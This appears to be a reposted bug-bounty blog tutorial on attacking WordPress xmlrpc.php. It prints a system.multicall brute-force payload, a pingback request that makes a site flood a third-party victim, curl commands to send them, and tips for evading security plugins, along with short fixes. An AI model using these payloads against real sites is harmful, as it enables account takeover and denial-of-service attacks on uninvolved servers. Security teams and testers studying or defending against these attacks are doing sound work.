Bug Bounty Tips: Mastering XML-RPC Exploits Like a Pro

22 hours ago 7

BOOK THIS SPACE FOR AD

ARTICLE AD

Hey, fellow hackers! 🎯 If you’re into WordPress hacking, bug bounty hunting, or penetration testing, you might have overlooked an old but gold target — XML-RPC vulnerabilities. This underappreciated attack surface can lead to brute-force attacks and DoS amplification!

So buckle up, because today, we’re going deep into XML-RPC hacking! 🏴‍☠️

XML-RPC stands for XML Remote Procedure Call, an API protocol that allows remote interaction between servers over HTTP using XML. In WordPress (and some other CMS platforms), xmlrpc.php is used for:

✅ Remote content publishing 📝
✅ Mobile app integration 📲
✅ Trackbacks & Pingbacks 🔗
✅ Interfacing with external services 🔄

But guess what? Hackers love it too! 😈

Since XML-RPC is often enabled by default, it presents a prime attack surface that many websites fail to secure.

Most login pages have rate limits, CAPTCHAs, and lockouts to prevent brute-force attacks. But XML-RPC? It allows multiple login attempts in one request using system.multicall, effectively bypassing protections.

Using Burp Suite, cURL, or a Python script, you can attempt multiple logins in one go:

<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value><string>admin</string></value>
<value><string>password123</string></value>
</data>
</array>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodCall>

Then send it using cURL:

curl -X POST -d "@xmlrpc_payload.xml" https://target.com/xmlrpc.php

💥 If you get a valid response, you’ve cracked the credentials!

🔧 Fix:

Disable system.multicall in WordPress.Use WAF rules to limit access to xmlrpc.php.

XML-RPC allows pingbacks, which notify other blogs when you link to them. But hackers can abuse this to amplify DDoS attacks.

Send a crafted pingback request to force a WordPress site to flood another victim:

<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target.com</string></value></param>
<param><value><string>http://victim.com</string></value></param>
</params>
</methodCall>

Then send it using cURL:

curl -X POST -d "@pingback.xml" https://target.com/xmlrpc.php

You can use this tool for automatic massive Pingback attack detection: https://github.com/frostyxsec/AutoPingbackAttack

🚨 If successful, the target WordPress will flood the victim’s server with requests! 🚨

🔧 Fix:

Disable pingbacks using the “Disable XML-RPC Pingback” plugin.Block requests to xmlrpc.php with firewall rules.

Some vulnerable XML-RPC implementations allow arbitrary file disclosure, exposing sensitive files like wp-config.php, which contains database credentials!

Try sending an LFI (Local File Inclusion) request through XML-RPC. If the server responds with file contents, jackpot! 🎯

<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

If the response includes filesystem-related functions, you can dig deeper into reading files!

🔧 Fix:

Restrict XML-RPC access.Validate and sanitize file paths in API responses.

✅ Automate Scans: Use tools like nmap, WPScan, or Metasploit.
✅ Check for Known CVEs: Some WordPress XML-RPC vulnerabilities are already reported!
✅ Bypass Security Plugins: Some security tools block XML-RPC, but try other subdomains where it might still be enabled.

Use nmap to check for XML-RPC:

nmap -p 80,443 --script=http-wordpress-enum https://target.com

Or just visit https://target.com/xmlrpc.php—if it returns “XML-RPC server accepts POST requests”, it’s enabled!

XML-RPC might be an old attack vector, but many sites still have it enabled. If you’re doing bug bounty hunting or pentesting, you can use these techniques to find serious vulnerabilities and cash in on bounties! 💰💰

Got any XML-RPC hacking experiences? Share them below! 🐱‍💻

🔥 Stay curious, stay hacking! 🏴‍☠️🚀

Read Entire Article